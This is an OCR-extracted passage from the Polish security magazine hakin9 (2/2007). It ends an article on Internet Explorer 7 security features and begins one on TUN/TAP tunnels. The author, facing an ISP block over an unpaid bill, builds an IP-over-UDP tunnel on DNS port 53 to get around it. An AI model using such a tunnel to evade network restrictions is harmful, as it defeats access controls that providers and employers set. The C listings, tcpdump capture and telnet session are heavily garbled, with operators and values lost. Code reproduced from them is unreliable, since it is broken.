damia użytkownika również wtedy,
gdy wizualnie podobne znaki w ad-
resie URL nie są wyświetlane w tym
samym języku. Zapewnia to ochronę
przed stronami, które w innym wypad-
ku można uznać za strony zaufane.

Tryb chroniony

Przeglądarka Internet Explorer 7 w
systemie Windows Vista działa nie-
zależnie od innych programów. Dzia-
łanie programów wykorzystujących
luki w zabezpieczeniach i złośliwego
oprogramowania jest ograniczone
do katalogu Tymczasowe pliki inter-
netowe (o ile użytkownik świadomie
nie zezwoli na inne działania).

Kontrola rodzicielska

Aaby zapewnić dzieciom bezpie-
czeństwo w sieci, rodzice mogą
sprawować kontrolę nad przegląda-
nymi treściami dzięki wbudowane-
mu w systemie Windows Vista syste-
mowi kontroli rodzicielskiej. Poziom
bezpieczeństwa można kontrolować
i zmieniać zdalnie. Poziom bezpie-
czeństwa określa wiele czynności
wykonywanych na komputerze, m.in.
korzystanie z gier i używanie Inter-
netu. Rodzice mogą przeglądać se-
sję pracy z przeglądarką. Sesji nie
można usunąć bez zgody rodziców.

Dodatkowo możliwe jest pobra-

nie darmowego produktu - Windows
Defender, który umożliwia ochronę
komputera przed oknami wyskakują-
cymi, spowolnieniem działania oraz
zagrożeniami związanymi z opro-
gramowaniem szpiegującym i inny-
mi potencjalnie niechcianymi pro-
gramami.

Powyżej przedstawione zosta-

ły funkcje dostępne wraz z nową
wersją przeglądarki. Wystarczają
one zupełnie do tego, aby nasz sys-
tem był bezpieczny. Niektóre z nich
są jednak jednymi z najbardziej za-
grożonych opcji, dzięki którym nasz
system może zostać zaatakowany.
Druga część artykułu ma za zada-
nie przedstawić aspekty tych funkcji
oraz sposoby ich konfiguracji.

Kontrolki ActiveX

Najbardziej niebezpieczne dla na-
szego systemu jest uruchamianie
różnego rodzaju kontrolek ActiveX,
których pochodzenia i przeznacze-
nia nie znamy. Są one najczęst-
szą przyczyną włamań do kompu-
terów. Kontrolka ActiveX jest bar-
dzo ważna dla korzystania z zaso-
bów Internetu ponieważ pozwala

Rysunek 1.

Rysunek 2.

Rysunek 3.

hakin9 Nr 2/2007

www.hakin9.org

Obrona

programistom na zwiększenie moż-
liwości klasycznych stron WWW i

osadzenie na stronach funkcji, któ-
re nie są dostępne przy użyciu stan-

dardowego HTMLa oraz JavaScriptu
(np. różnego rodzaju animacje, mul-
timedia, itp).

Ze względu na to, że kontrolka (lub

dowolne rozszerzenie przeglądarki)
dodaje nowe funkcje, jest też źródłem
możliwych włamań. Domyślna ilość
kontrolek w IE7 została zmniejszo-
na w stosunku do poprzednich wer-
sji. Standardowo w IE7 opcja urucha-
miania kontrolek ActiveX została wy-
łączona. Jeśli użytkownik trafi na stro-
nę, na której wymagane jest urucho-
mienie takiej kontroli, dostanie komu-
nikat w górnej części przeglądarki o
tym, że jakaś kontrolka wyprodukowa-
na przez jakiegoś

Jeśli użytkownik wybierze opcję

“Uruchom kontrolkę ActiveX (ang.
Run ActiveX Control)” to system po-
prosi o potwierdzenie uruchomienia
pokazując okienko dialogowe (Rys.2)

UWAGA!. Niektóre kontrolki Acti-

veX nie będą wyłączone standardo-
wo. Oto lista przypadków:

• Kontrolki, które były zainstalowa-

ne przy poprzedniej wersji prze-
glądarki przed wykonaniem aktu-
alizacji wersji.

• Kontrolki, które zostały świa-

domie pobrane i zainstalowane
przez użytkownika

• Kontrolki, które są na liście

wstępnie zaakceptowanych kon-
trolek.

Tu następuje pierwszy krok użyt-
kownika - włączenie lub wyłącze-
nie sprawdzania kontrolek ActiveX.
W opcjach bezpieczeństwa przeglą-
darki mamy możliwość stwierdzenia
czy chcemy, aby nasza przeglądarka
sprawdzała uruchamianie kontrolek,
czy nie. (Rys.3). Konfigurację mo-
żemy ustawić odrębnie dla różnych
stref zabezpieczeń.

Jakie kontrolki dostępne są na

liście wstępnie zaakceptowanych
kontrolek możemy się dowiedzieć
sprawdzając rejestr. Lista CLSID do-
stępna jest w kluczu:

HKEY_LOCAL_MACHINE -> SOFTWARE ->

Microsoft -> Windows -> CurrentVersion
-> Ext -> PreApproved

Rysunek 5.

Rysunek 4.

Bezpieczeństwo w Internet Explorer 7

hakin9 Nr 2/2007

www.hakin9.org

Data Execution

Prevention

Data Execution Prevention (DEP)
jest zestawem technologii, które wy-
konują dodatkowe sprawdzenie pa-
mięci, aby chronić przed złośliwym
kodem uruchamianym na systemie.
DEP jest dostępny w Microsoft Win-
dows 2003 Server SP1, Windows XP
Service Pack 2, Windows XP Tablet
PC Edition 2005 oraz Windows Vi-
sta. Praca DEP polega na ochronie
wykonywanego kodu, która nie jest
oznaczona jako EXECUTABLE tak
jak np. stos. IE dostarcza ustawie-
nie, które można włączyć do testo-
wania kontrolek z funkcjonalnością
DEP. (Opcja Tools | Internet Options
| zakładka Advanced na następnie
opcja Enable memory protection to

help mitigate online attacks. (Rys. 4)

UWAGA – w przypadku Windows

Vista, ustawienie może być zmienio-
ne tylko kiedy Protected Mode jest
wyłączony.

Ulepszenia

bezpieczeństwa HTTPS

HTTPS używa szyfrowania do za-
bezpieczenia ruchu internetowego
przed podsłuchiwaniem lub fałszo-
waniem przez innych w sieci. HTTPS
używa do ochrony danych protoko-
łów Secure Sockets Layer (SSL) lub
Transport Layer Security (TLS). W
celu polepszenia bezpieczeństwa

zostały dodane nowe funkcjonalno-
ści w implementacji HTTPS. Wpro-
wadzono też nowe strony informa-
cyjne w przeglądarce dla użytkowni-
ków, które pokazują co się dzieje.

Szczegółowy opis błędów oraz

czym są spowodowane dostępny
jest na stronie:

ht tp: / /msdn.microsof t.com /

library/default.asp?url=/library/en-

us/IETechCol/cols/dnexpie/ie7_

https_imps.asp

Logowanie zachowań

przeglądarki

Przy pomocy Application Compatibi-
lity Logging, możemy sprawdzać i lo-
gować co dzieje się z naszą przeglą-
darką i jak reaguje na to co pobiera-
my z sieci. Co jest logowane? Krótka
odpowiedź – wiele rzeczy jest logo-
wanych do Event Viewer’a podczas
pracy Application Compatibility Log-
ging. Przykłady logów:

• Parsowanie URL – w celu zabez-

pieczenia przed exploitami.

• Bezpieczeństwo HTTPS - log

tworzony jest podczas proble-
mów z certyfikatami strony, do
której chcemy się dostać.

• Międzynarodowe nazwy domen

– przy każdorazowym odwołaniu
się do takich nazw.

• Kontrolki ActiveX – informacja o za-

blokowaniu kontrolki i przyczynie.

• Nawigacja pomiędzy różnymi

domenami w przypadku użycia
FRAME

• Problemy ze stylami CSS

Kody błędów dostępne są na stronie:

http://msdn.microsoft.com/library/

default.asp?url =/library/en-us /

IETechCol/cols/dnexpie/ie7_com-

pat_log.asp

Filtrowanie phishingu

Oochrona przed

kradzieżą tożsamości

W Internet Explorer 7 udostępniono
usługę filtrowania online, która pod-
czas przeglądania witryn sieci Web
ostrzega użytkownika o potencjal-
nych próbach kradzieży informacji
poufnych (phishingu). Usługa filtrowa-
nia dokonuje analizy lokalnej i szuka
znanych elementów metod phishin-
gu. Korzysta przy tym z danych onli-
ne, które są aktualizowane kilka razy
na godzinę. Na pasku stanu zabez-
pieczeń w programie Internet Explo-
rer 7 są wyświetlane powiadomienia
usługi filtrowania phishingu, informa-
cje o silnych certyfikatach, ikona zło-
tej kłódki (wskazująca połączenie z
bezpieczną witryną sieci Web) oraz
powiadomienia o błędach certyfika-
tów. Informacje o certyfikacie i za-
sadach ochrony prywatności można
również wyświetlić, klikając jeden raz
przyciskiem myszy. Jeśli po analizie
system stwierdzi, że dana strona mo-
że być podejrzana, to wyświetli komu-
nikat pokazany na rys. 5. Rysunek 6
przedstawia stronę, która została już
wcześniej zapisana w bazie danych
jako strona niebezpieczna.

Zabezpieczeń przeglądarki Inter-

net Explorer 7 jest wiele. Wiele jest
również miejsc, które muszą być pil-
nowane przez użytkowników przeglą-
darki bo nawet najlepsze zabezpie-
czenia nie są w stanie ochronić nas
przed wirusem czy włamaniem, jeśli
nie będziemy przestrzegać podstawo-
wych zasad bezpieczeństwa. Prze-
glądarka IE7 została bardzo mocno
rozbudowana, a największy nacisk
położono na bezpieczeństwo. Przy
stosowaniu podstawowych zasad
bezpieczeństwa i wzmożonej uwadze
możemy czuć się bezpieczni. l

Rysunek 6.

www.hakin9.org

hakin9 Nr 2/2007

Obrona

terownik TUN operuje na ramkach IP
i pozwala na stworzenie wirtualne-
go interfejsu sieciowego Point-to-Po-

int (PPP), TAP natomiast operuje na ramkach
Ethernet. Sterownik TUN/TAP dostępny jest na
platformach Linux, Solaris, Mac OS X, Micro-
soft Windows 2000/XP oraz rodzinie systemów
BSD. Tyle tytułem wstępu. Jeżeli te podstawo-
we informacje nie dają pełnego obrazu możli-
wości TUN/TAP zachęcam do dalszej lektury,
gdyż z pewnością nierzadko nadarzą się oka-
zje do skorzystania z takich tuneli.

Strona techniczna

Sterownik TUN udostępnia aplikacji użytkowni-
ka dwa interfejsy:

• /dev/net/tun – urządzenie znakowe
• tunX – wirtualny interfejs Point-to-Point

Aplikacja użytkownika może wysyłać ram-
ki IP do /dev/net/tun, kernel otrzyma te ram-
ki z interfejsu wirtualnego tunX. W tym sa-
mym czasie każda ramka, jaką kernel wy-
śle do interfejsu tunX, może być odczyta-
na przez aplikację użytkownika z urządze-
nia /dev/net/tun.

Analogicznie sprawa wygląda ze sterowni-

kiem TAP – program w przestrzeni użytkow-
nika ma do dyspozycji interfejsy /dev/net/tun
(z odpowiednią flagą) oraz tapX z tą różnicą,
że zamiast operować na ramkach IP i interfej-
sie Point-to-Point operuje na ramkach i interfej-
sie Ethernet.

Przygotowanie systemu

Przygotowanie systemu zostanie omówione
na przykładzie platformy Linux, w pozostałych
systemach wykonuje się to analogicznie.

Pierwszą rzeczą, jaką powinniśmy zrobić, to

sprawdzenie, czy mamy dostępny moduł TUN/

Tunele TUN/TAP w

systemach Linux/Unix

Paweł Maziarz

stopień trudności

Mechanizm TUN/TAP umożliwia transmisję pakietów w

przestrzeni użytkownika – zamiast odbierać pakiety z fizycznego

interfejsu, odbiera je z programu w przestrzeni użytkownika i

analogicznie zamiast wysyłać pakiety przez fizyczny interfejs,

wysyła je do programu w przestrzeni użytkownika.

Z artykułu dowiesz się...

• jak działają tunele TUN/TAP
• jak tworzyć własne aplikacje używające tych

tuneli

Powinieneś wiedzieć...

• powinieneś znać podstawy programowania w

języku C

• powinieneś mieć pojęcie o protokole TCP/IP

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

TAP. Jeżeli nie, powinniśmy podczas
kompilacji jądra systemu zaznaczyć

<M> przy: Device Drivers -> Networ-
king support ->Universal TUN/TAP
device driver support skompilować
odpowiednio jądro, po czym załado-
wać moduł sterownika TUN/TAP po-
leceniem

modprobe tun

. Następnie,

jeżeli nie mamy urządzenia /dev/net/

tun, to musimy je utworzyć:

mkdir /dev/net (jeżeli katalog /dev/net

nie istnieje)

mknod /dev/net/tun c 10 200

Dostęp aplikacji użytkownika

do tuneli

Podstawową funkcją, jaką powinien
zawierać nasz program, to funkcja

tun_alloc(), która przygotuje interfejs

tun i zwróci deskryptor pliku skojarzo-
ny z tym interfejsem. Listing 1 przed-
stawia część pliku tun.c zawierające-
go tę funkcję w wersji dla systemu Li-
nux oraz FreeBSD. Teraz wystarczy
wywołać funkcję tun_alloc(), następ-
nie zorganizować jakiś transport pa-
kietów i rozpocząć ich wymianę. Pyta-
nie tylko, po co to wszystko?

Zasiadam do komputera, odpa-

lam konsolę, uruchamiam klienta
ssh, by połączyć się z jednym z fir-
mowych komputerów i po chwili od-
czytuję informację o błędzie pole-
gającym na przekroczeniu czasu
na połączenie. To samo dzieje się
z kolejnymi serwerami. SMTP to sa-
mo, FTP to samo, sprawdzam HTTP
– uruchamiam przeglądarkę WWW,
jako strona startowa powinna wy-
świetlić się http://www.google.pl/.
Widzę jednak zamiast Google wyja-
śniający tekst: Nie zapłaciłeś ostat-

niego rachunku za dostęp do sieci

Internet. Masz 3 dni na uregulowa-

nie płatności, w przeciwnym wypad-

ku koszt ponownej aktywacji [...].

Tak, wszystko stało się jasne. Zu-

pełnie zapomniałem zapłacić za Inter-
net. No dobrze, ale jak teraz wykonać
przelew, skoro nie mam dostępu do
sieci? Do najbliższego banku 300 me-
trów – zdecydowanie za daleko, poza
tym, trzeba by zakładać buty. Zbierz-
my fakty. Jeżeli wchodząc na jaką-
kolwiek stronę WWW otwiera się Ich
spreparowana witryna, oznacza to, że

Listing 1.

Funkcja tun_alloc() z tun.c

/*
* tun_alloc() - przygotowuje interfejs tunX oraz zwraca jego deskryptor,
* w razie niepowodzenia, zwraca -1
*/

int

tun_alloc

(

char

dev

)

/* wersja dla Linuksa */

#ifdef __linux__

{

struct

ifreq

ifr

;

int

;

((

open

(

"/dev/net/tun"

O_RDWR

))

)

return

;

memset

ifr

sizeof

(

ifr

));

/* możliwe flagi:

* IFF_TUN - interfejs TUN (ramki IP)
* IFF_TAP - interfejs TAP (ramki Ethernet)
*
* IFF_NO_PI - brak dodatkowych informacji o pakiecie */

ifr

ifr_flags

IFF_TUN

IFF_NO_PI

;

dev

)

strncpy

(

ifr

ifr_name

dev

IFNAMSIZ

);

/* rejestracja nowego urządzenia (tunX) */

((

ioctl

(

TUNSETIFF

(

void

ifr

))

)

{

(

);

return

;

}

/* zapisanie faktycznej nazwy intefejsu do zmiennej dev */

strcpy

(

dev

ifr

ifr_name

);

return

;

}

/* wersja dla FreeBSD */

#elif __FreeBSD__

{

char

[

];

int

mode

;

strcpy

(

"/dev/tun"

);

for

(

;

++)

{

[

]

'0'

;

[

]

;

((

open

(

O_RDWR

))

)

break

;

}

(

)

return

;

strcpy

(

dev

);

/* ustawienie odpowiednich parametrów */

mode

IFF_POINTOPOINT

;

ioctl

(

TUNSIFMODE

mode

);

(

)

return

;

mode

;

ioctl

(

TUNSLMODE

mode

);

(

)

return

;

mode

;

ioctl

(

TUNSIFHEAD

mode

);

(

)

return

;

return

;

}

endif

hakin9 Nr 2/2007

www.hakin9.org

Obrona

wszystkie zapytania WWW przekie-
rowują na swój serwer. Jeżeli jednak
tak robią, musi być dostęp do serwe-
ra DNS, w przeciwnym wypadku prze-
glądarka zgłosiłaby błąd o niemożli-
wości odnalezienia hosta. Domyślnie
używany jest lokalny serwer DNS, in-
ne z pewnością wycięli. Sprawdzam
standardowy dns.tpsa.pl – działa, tcp-
dump potwierdza, że faktycznie mogę
go odpytać:

09:01:51.051484 IP 192.168.3.2.1115 >
194.204.159.1.domain: 35529+ A?
haking.pl. (27)
09:01:51.233565 IP 194.204.159.1.domain
> 192.168.3.2.1115: 35529 1/2/2 A
62.111.243.84 (126)

Jeszcze inna próba z firmowym,
mniej znanym serwerem DNS, dzia-
ła. Wnioski – mogę odpytać dowol-
ny serwer DNS w Internecie, a za-
tem mogę wysyłać pakiety na port
53 protokołu UDP (tak wysyłane są
zapytania DNS) i spodziewać się od-
powiedzi. To powinno wystarczyć, by
uniknąć konieczności zakładania bu-
tów i żmudnego pokonywania blisko
300 metrów betonowych chodników.
O kolejkach nie wspomnę. Napisze-
my więc aplikację tunelującą ruch IP
protokołem UDP.

IP-over-UDP - tworzymy

aplikację

Mamy już funkcję tun_alloc(), która
tworzy wirtualny interfejs sieciowy, te-
raz trzeba zatroszczyć się o transport
pakietów w przestrzeni użytkownika.
Na początek użyjemy do tego bezpo-
łączeniowego protokołu UDP, port 53.
Musimy stworzyć prostego daemona,
który będzie nasłuchiwał na porcie,
którego używają serwery nazw i wy-
mieniał pakiety między gniazdem sie-
ciowym, a deskryptorem pliku uzyska-
nym z funkcji tun_alloc() oraz klien-
tem, który po połączeniu z serwerem
będzie analogicznie wymieniał pakie-
ty. Trzeba jednak zauważyć, że klient
może działać na maszynie bez ze-
wnętrznego adresu IP lub znajdują-
cej się za firewallem, dlatego też (z
powodu bezpołączeniowego mode-
lu protokołu UDP) jeżeli odpowiednio
wcześniej klient nie wyśle pierwszy ja-

Listing 2a.

Funkcja udp_loop() z pliku udp.c

/*
* udp_loop() - rozpocznij wymianę pakietów po udp
*/

int

udp_loop

(

int

tunfd

int

mode

int

port

char

host

int

keepalive

)

{

struct

sockaddr_in

laddr

raddr

saddr

;

int

sockfd

size

;

char

sockbuf

[

4096

]

tunbuf

[

4096

];

struct

timeval

timeout

;

uint32_t

;

fd_set

set

;

(

port

65535

)

{

fprintf

(

stderr

"udp_loop: 65535 < port < 1."

);

return

;

}

((

sockfd

socket

(

AF_INET

SOCK_DGRAM

IPPROTO_UDP

))

)

{

fprintf

(

stderr

"udp_loop: socket() error: %s

strerror

(

errno

));

return

;

}

memset

raddr

sizeof

(

struct

sockaddr_in

));

/* tryb serwera - nasłuchujemy na podanym porcie */

(

mode

MODE_LISTEN

)

{

laddr

sin_family

AF_INET

;

laddr

sin_addr

s_addr

INADDR_ANY

;

laddr

sin_port

htons

(

port

);

(

bind

(

sockfd

(

struct

sockaddr

*)&

laddr

sizeof

(

struct

sockaddr_

))

)

{

fprintf

(

stderr

"udp_loop: bind() error: %s

strerror

(

errno

));

return

;

}

/* tryb klienta - łączymy się z podanym hostem */

else

(

mode

MODE_CONNECT

)

{

((

resolve

(

host

))

)

{

fprintf

(

stderr

, „

udp_loop

():

nie

mog

znale

źć

hosta

”,

host

);

return

;

}

raddr

sin_family

AF_INET

;

raddr

sin_port

htons

(

port

);

raddr

sin_addr

s_addr

;

/* rozpocznijmy od przedstawienia się serwerowi wysyłając nasz

kontrolny pakiet keep-alive */

sendto

(

sockfd

UDP_KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

(

struct

sockaddr

*)&

raddr

sizeof

(

struct

sockaddr_

));

(

)

{

fprintf

(

stderr

"udp_loop: sendto() error: %s

strerror

(

errno

));

}

/* główna pętla - nieskończona wymiana pakietów */

while

(

)

{

FD_ZERO

set

);

/* sprawdzaj, czy na tych deskryptorach są dane do odczytu */

FD_SET

(

sockfd

set

);

FD_SET

(

tunfd

set

);

timeout

tv_usec

;

timeout

tv_sec

keepalive

;

/* sprawdź, czy są już dane do odczytu */

select

(

FD_SETSIZE

set

NULL

(

mode

MODE_CONNECT

)

timeout

NULL

);

(

)

{

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

kichś pakietów, serwer nie będzie miał
możliwości wysłać danych do klienta.
Wówczas będziemy po stronie klienta
wysyłać co dany interwał czasowy pa-
kiet „keep-alive”, jeżeli w odpowiednim
przedziale czasowym nie było żadne-
go ruchu.

Przyjrzyjmy się Listingowi 2 za-

wierającego funkcję udp_loop() z
pliku udp.c będącą transportem pa-
kietów dla naszego pierwszego tu-
nelu:

int udp_loop(int tunfd, int mode,
int port, char *host, int keepalive)

Funkcja ta jako pierwszy argument
przyjmuje deskryptor interfejsu tun
uzyskanego z funkcji tun_alloc() (Li-
sting 1), będącego początkiem na-
szego tunelu. Jego końcem będzie
gniazdo sieciowe:

sockfd = socket(AF_INET, SOCK_DGRAM,
IPPROTO_UDP)

z którego, w przypadku serwera (mo-

de == MODE_LISTEN), będziemy ko-
rzystać poprzez przypisanie do gniaz-
da odpowiedniego adresu zapisanego
w strukturze sockaddr_in laddr:

bind(sockfd, (struct sockaddr *)&laddr,
sizeof(struct
sockaddr_in))

oraz dla klienta (mode == MODE_

CONNECT) poprzez zdefiniowanie
adresata wysyłanych przez gniazdo
pakietów, wypełniając strukturę soc-

kaddr_in raddr.

Wszystkie przygotowania zosta-

ły poczynione – mamy już dwa de-
skryptory (tunfd i sockfd), od strony
aplikacji pozostało więc już tylko zor-
ganizowanie samej wymiany pakie-
tów między nimi. Do monitorowania,
czy na naszych deskryptorach są
nowe dane użyjemy funkcji select(),
która wyeliminuje problem blokowa-
nia aplikacji przy odczycie (funkcje

read()/recvfrom()) w przypadku, gdy
na wejściu nie ma jeszcze nowych
danych. Do definiowania, jakie de-
skryptory chcemy monitorować słu-
ży makro FD_SET(), do sprawdza-
nia, czy dany deskryptor jest goto-

Listing 2b.

Funkcja udp_loop() z pliku udp.c

fprintf

(

stderr

"udp_loop: select() error: %s

strerror

(

errno

));

continue

;

}

else

(

)

{

/* timeout! wyślijmy pakiet keep-alive */

sendto

(

sockfd

UDP_KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

(

struct

sockaddr

*)&

raddr

sizeof

(

struct

sockaddr_

));

(

)

{

fprintf

(

stderr

"udp_loop: sendto() error: %s

strerror

(

errno

));

}

/* pojawiły się dane z sieci */

(

FD_ISSET

(

sockfd

set

))

{

size

sizeof

(

struct

sockaddr_in

);

memset

(

sockbuf

4096

);

recvfrom

(

sockfd

sockbuf

4096

(

struct

sockaddr

*)&

saddr

(

socklen_t

*)&

size

);

(

)

{

fprintf

(

stderr

"udp_loop: recvfrom() error: %s

strerror

(

errno

));

}

else

{

raddr

sin_addr

s_addr

)

{

fprintf

(

stderr

"udp_loop: rozpoczynamy transport z

pakietów z %s

inet_ntoa

(

saddr

sin_addr

));

memcpy

raddr

saddr

sizeof

(

struct

sockaddr_in

));

}

else

(

raddr

sin_addr

s_addr

saddr

sin_addr

s_addr

)

{

fprintf

(

stderr

"udp_loop: przyszedł pakiet od %s,

podczas gdy czekamy rozmawiamy tylko z %s

inet_

ntoa

(

raddr

sin_addr

)

inet_ntoa

(

raddr

sin_addr

));

continue

;

}

/* jeżeli to nie pakiet keep-alive, przekażmy go do tunelu */

(

UDP_KEEPALIVE_LENGTH

strncmp

(

sockbuf

UDP_

KEEPALIVE_STRING

UDP_KEEPALIVE_LENGTH

))

write

(

tunfd

sockbuf

);

(

)

{

fprintf

(

stderr

"udp_loop: write(tunfd) error: %s

strerror

(

errno

));

}

/* pojawiły się dane z interfejsu tunelu */

(

FD_ISSET

(

tunfd

set

))

{

read

(

tunfd

tunbuf

4096

);

(

)

{

fprintf

(

stderr

"udp_loop: read(tunfd) error: %s

strerror

(

errno

));

}

else

{

sendto

(

sockfd

tunbuf

(

struct

sockaddr

*)&

raddr

sizeof

(

struct

sockaddr_in

));

(

)

{

fprintf

(

stderr

"udp_loop: sendto() error: %s

strerror

(

errno

));

}

return

;

}

hakin9 Nr 2/2007

www.hakin9.org

Obrona

wy - FD_ISSET(). Funkcja select()
zwraca -1 w przypadku błędu (np.
spowodowanego wysłaniem jakiego-
kolwiek sygnału do procesu), liczbę
gotowych deskryptorów plików, lub 0
w przypadku gdy upłynął czas okre-
ślony w strukturze timeout (o ile zo-
stała podana), zatem:

select(FD_SETSIZE, &set, NULL, NULL,
(mode == MODE_CONNECT) ? &timeout :

NULL)

zwróci nam wartość większą od ze-
ra w przypadku gotowości do od-
czytu z któregoś z deskryptorów,
lub - w przypadku klienta - 0, kie-
dy wystąpi czas bezczynności zde-
finiowany przez zmienną

keepalive

co wykorzystamy do podtrzymania
połączenia poprzez wysyłanie pa-
kietu kontrolnego. Wypada jesz-
cze zabezpieczyć się przed sy-
tuacją, kiedy otrzymujemy pakie-
ty z innych adresów (w tym ce-
lu porównujemy adres zaufanego
partnera

raddr.sin _ addr.s _ addr

z adresem źródłowym pakietu

saddr.sin _ addr.s _ addr

). Teraz już

tylko przekazujemy w nieskończo-
nej pętli pakiety między

tunfd

(funk-

cje

read()

write()

), a

sockfd

(funk-

cje

recvfrom()

sendto()

Wszystko gotowe, stworzyliśmy

jeszcze pliki udptun.c oraz misc.h
(znajdują się na płycie), które po-
zwolą skorzystać z wcześniej na-
pisanych funkcji. Kompilujemy źró-
dła:

root@catharsis:~# gcc -c tun.c
root@catharsis:~# gcc -c udp.c
root@catharsis:~# gcc udptun.c -o
udptun tun.o udp.o
root@catharsis:~# ./udptun -h
Użycie:
./udptun -l -p <port>
lub
./udptun -c <host> -p <port>
[-k <czas>]
root@catharsis:~#

uruchamiamy na zdalnym serwerze
w trybie daemona:

root@kajmany:~# ./udptun -l -p 53
tun_alloc() udane, tundev=tun0

Listing 4.

Plik form.php

php

(

isset

(

$_POST

[

'name'

]))

echo

"przesłałeś

$_POST

[name]

;

else

echo

form action=

'$_SERVER[PHP_SELF]'

method=

'POST'

input

name=

'name'

input type=

'submit'

value=

'wyślij'

form

Listing 3.

Krótka sesja sniffera tcpdump po stronie serwera

kajmany

home

drg

tcpdump

udp

port

tcpdump

verbose

output

suppressed

use

for

full

protocol

decode

listening

eth0

link

type

EN10MB

(

Ethernet

)

capture

size

bytes

40.343749

catharsis

.33346

kajmany

domain

]

40.462073

catharsis

.33346

kajmany

domain

17664

[

0x3c

]

[

16384

]

[

13200

]

[

16390

]

[

62249

][|

domain

]

40.462155

kajmany

domain

catharsis

.33346

17664

[

0x3c

]

[

16384

]

[

]

[

16390

]

[

9914

]

(

)

40.562377

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13201

]

[

16390

]

[

62256

][|

domain

]

40.570868

kajmany

domain

catharsis

.33346

17664

[

0x53

]

[

16384

]

[

26553

]

[

16390

]

[

48873

][|

domain

]

40.669177

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13202

]

[

16390

]

[

62255

][|

domain

]

40.669193

catharsis

.33346

kajmany

domain

17664

[

0x5a

]

[

16384

]

[

13203

]

[

16390

]

[

62216

][|

domain

]

40.670382

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26554

]

[

16390

]

[

48903

][|

domain

]

40.671684

kajmany

domain

catharsis

.33346

17664

[

0x2f4

]

[

16384

]

[

26555

]

[

16390

]

[

48198

][|

domain

]

40.788911

catharsis

.33346

kajmany

domain

17664

[

0x2fc

]

[

16384

]

[

13204

]

[

16390

]

[

61541

][|

domain

]

40.819748

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13205

]

[

16390

]

[

62252

][|

domain

]

40.819796

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26556

]

[

16390

]

[

48901

][|

domain

]

40.922967

catharsis

.33346

kajmany

domain

17664

[

0x4c

]

[

16384

]

[

13206

]

[

16390

]

[

62227

][|

domain

]

40.926234

kajmany

domain

catharsis

.33346

17664

[

0xcc

]

[

16384

]

[

26557

]

[

16390

]

[

48748

][|

domain

]

41.027619

catharsis

.33346

kajmany

domain

17664

[

0x34

]

[

16384

]

[

13207

]

[

16390

]

[

62250

][|

domain

]

41.031865

catharsis

.33346

kajmany

domain

17664

[

0xc4

]

[

16384

]

[

13208

]

[

16390

]

[

62105

][|

domain

]

41.033878

kajmany

domain

catharsis

.33346

17664

[

0x204

]

[

16384

]

[

26558

]

[

16390

]

[

48435

][|

domain

]

41.155678

catharsis

.33346

kajmany

domain

17664

[

0x44

]

[

16384

]

[

13209

]

[

16390

]

[

62232

][|

domain

]

41.195147

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26559

]

[

16390

]

[

48898

][|

domain

]

41.295696

catharsis

.33346

kajmany

domain

17664

[

0x64

]

[

16384

]

[

13210

]

[

16390

]

[

62199

][|

domain

]

41.295893

kajmany

domain

catharsis

.33346

17664

[

0x34

]

[

16384

]

[

26560

]

[

16390

]

[

48897

][|

domain

]

41.295903

kajmany

domain

catharsis

.33346

17664

[

0x64

]

[

16384

]

[

26561

]

[

16390

]

[

48848

][|

domain

]

41.403684

catharsis

.33346

kajmany

domain

17664

[

0x74

]

[

16384

]

[

13211

]

[

16390

]

[

62182

][|

domain

]

41.404019

kajmany

domain

catharsis

.33346

17664

[

0x74

]

[

16384

]

[

26562

]

[

16390

]

[

48831

][|

domain

]

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

oraz lokalnie, klienta:

root@catharsis:~# ./udptun -c kajmany

-p 53 -k 1

tun_alloc() udane, tundev=tun0

Tunel gotowy. No prawie. W systemie
pojawił się nowy interfejs – tun0:

root@catharsis:~# ifconfig tun0
tun0 Link encap:UNSPEC HWaddr
00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00
POINTOPOINT NOARP MULTICAST
MTU:1500 Metric:1
RX packets:0 errors:
0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0
dropped:
0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
root@catharsis:~#

i taki sam na zdalnym serwerze.
Trzeba je teraz odpowiednio połą-
czyć. Do tego celu użyjemy starego,
dobrego

ifconfiga

, lub nowego lep-

szego

iproute2

Linux, ifconfig:

ifconfig tun0 10.0.0.1 pointopoint

10.0.0.2 netmask 255.255.255.255

Linux, iproute2:
ip addr add 10.0.0.1

Rysunek 1.

Schemat tunelu TUN/TAP z przykładowym pakietem IP-over-UDP

Internet

84.10.175.75

80.86.83.189

10.0.0.1

10.0.0.2

Tunel

Aplikacja

Klient

Nagłówek IP w warstwie Internetu

Nagłówek IP w warstwie tunelu

Payload IP w warstwie tunelu

Zawartość pakietu przechodzącego przez

Internet w przypadku tunelu IP-over-UDP

Nagłówek UDP w warstwie Internetu

Aplikacja

Serwer

eth0

tun0

Pakiet IP

w Internecie

Pakiet IP w tunelu

Listing 5.

sesja telnet do serwera WWW

drg

catharsis

telnet

kajmany

Trying

192.168

69.7

...

Connected

kajmany

Escape

character

]

GET

form

php

HTTP

1.0

Connection

Keep

Alive

HTTP

1.1

200

Date

Wed

Nov

2006

GMT

Server

Apache

2.2

Powered

PHP

4.4

Content

Length

108

Keep

Alive

timeout

max

100

Connection

Keep

Alive

Content

Type

text

html

;

charset

UTF

form

action

form

php

method

POST

input

name

input

type

submit

value

wyslij

form

POST

form

php

HTTP

1.0

Connection

Content

Type

application

www

form

urlencoded

Content

Length

name

value

HTTP

1.1

200

Date

Wed

Nov

2006

GMT

Server

Apache

2.2

Powered

PHP

4.4

Content

Length

Connection

Content

Type

text

html

;

charset

ISO

8859

przes

value

Connection

closed

foreign

host

drg

catharsis

hakin9 Nr 2/2007

www.hakin9.org

Obrona

dev tun0 peer 10.0.0.2
ip link set tun0 up
FreeBSD, ifconfig:
